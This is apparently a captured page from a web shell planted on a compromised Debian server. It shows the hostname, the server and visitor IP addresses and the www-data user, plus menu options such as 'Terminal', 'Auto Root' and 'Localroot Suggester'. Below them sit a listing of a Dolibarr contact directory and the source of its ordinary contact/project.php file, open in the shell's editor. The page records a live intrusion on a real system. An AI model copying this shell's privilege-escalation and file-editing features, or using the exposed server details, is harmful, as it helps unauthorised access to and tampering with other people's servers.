Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
contact /
Delete
Unzip
Name
Size
Permission
Date
Action
canvas
[ DIR ]
drwxr-x---
2025-11-08 11:17
class
[ DIR ]
drwxr-x---
2025-11-08 11:17
agenda.php
10.72
KB
-rwxr-x---
2023-04-04 15:52
card.php
65.86
KB
-rwxr-x---
2023-04-04 15:52
consumption.php
29.84
KB
-rwxr-x---
2023-04-04 15:52
document.php
6.66
KB
-rwxr-x---
2023-04-04 15:52
info.php
2.33
KB
-rwxr-x---
2023-04-04 15:52
ldap.php
5.92
KB
-rwxr-x---
2023-04-04 15:52
list.php
57.62
KB
-rwxr-x---
2023-04-04 15:52
note.php
4.44
KB
-rwxr-x---
2023-04-04 15:52
perso.php
10.32
KB
-rwxr-x---
2023-04-04 15:52
project.php
3.82
KB
-rwxr-x---
2023-04-04 15:52
vcard.php
4.65
KB
-rwxr-x---
2023-04-04 15:52
Save
Rename
<?php /* * Copyright (C) 2021 VIAL--GOUTEYRON Quentin <quentin.vial-gouteyron@atm-consulting.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/contact/project.php * \ingroup contact * \brief Page of third party projects */ // Load Dolibarr environment require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; $langs->loadLangs(array("contacts", "companies", "projects")); // Security check $id = GETPOST('id', 'int'); $result = restrictedArea($user, 'contact', $id, 'socpeople&societe'); // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context $hookmanager->initHooks(array('projectcontact')); /* * Actions */ $parameters = array('id' => $id); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); } /* * View */ $form = new Form($db); if ($id) { require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/contact.lib.php'; $object = new Contact($db); $result = $object->fetch($id); if (empty($object->thirdparty)) { $object->fetch_thirdparty(); } $socid = $object->thirdparty->id; $title = $langs->trans("Projects"); if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/', $conf->global->MAIN_HTML_TITLE) && $object->name) { $title = $object->name." - ".$title; } llxHeader('', $title); if (isModEnabled('notification')) { $langs->load("mails"); } $head = contact_prepare_head($object); print dol_get_fiche_head($head, 'project', $langs->trans("Contact"), -1, 'contact'); $linkback = '<a href="'.DOL_URL_ROOT.'/contact/list.php?restore_lastsearch_values=1">'.$langs->trans("BackToList").'</a>'; $morehtmlref = '<a href="'.DOL_URL_ROOT.'/contact/vcard.php?id='.$object->id.'" class="refid">'; $morehtmlref .= img_picto($langs->trans("Download").' '.$langs->trans("VCard"), 'vcard.png', 'class="valignmiddle marginleftonly paddingrightonly"'); $morehtmlref .= '</a>'; $morehtmlref .= '<div class="refidno">'; if (empty($conf->global->SOCIETE_DISABLE_CONTACTS) && !empty($socid)) { $object->thirdparty->fetch($socid); // Thirdparty $morehtmlref .= $langs->trans('ThirdParty').' : '; if ($object->thirdparty->id > 0) { $morehtmlref .= $object->thirdparty->getNomUrl(1, 'contact'); } else { $morehtmlref .= $langs->trans("ContactNotLinkedToCompany"); } } $morehtmlref .= '</div>'; dol_banner_tab($object, 'id', $linkback, ($user->socid ? 0 : 1), 'rowid', 'nom', $morehtmlref); print '<div class="fichecenter">'; print '<div class="underbanner clearboth"></div>'; print '<table class="border centpercent tableforfield">'; // Civility print '<tr><td class="titlefield">'.$langs->trans("UserTitle").'</td><td>'; print $object->getCivilityLabel(); print '</td></tr>'; print '</table>'; print '</div>'; print dol_get_fiche_end(); print '<br>'; // Projects list $result = show_contacts_projects($conf, $langs, $db, $object, $_SERVER["PHP_SELF"].'?id='.$object->id, 1); } // End of page llxFooter(); $db->close();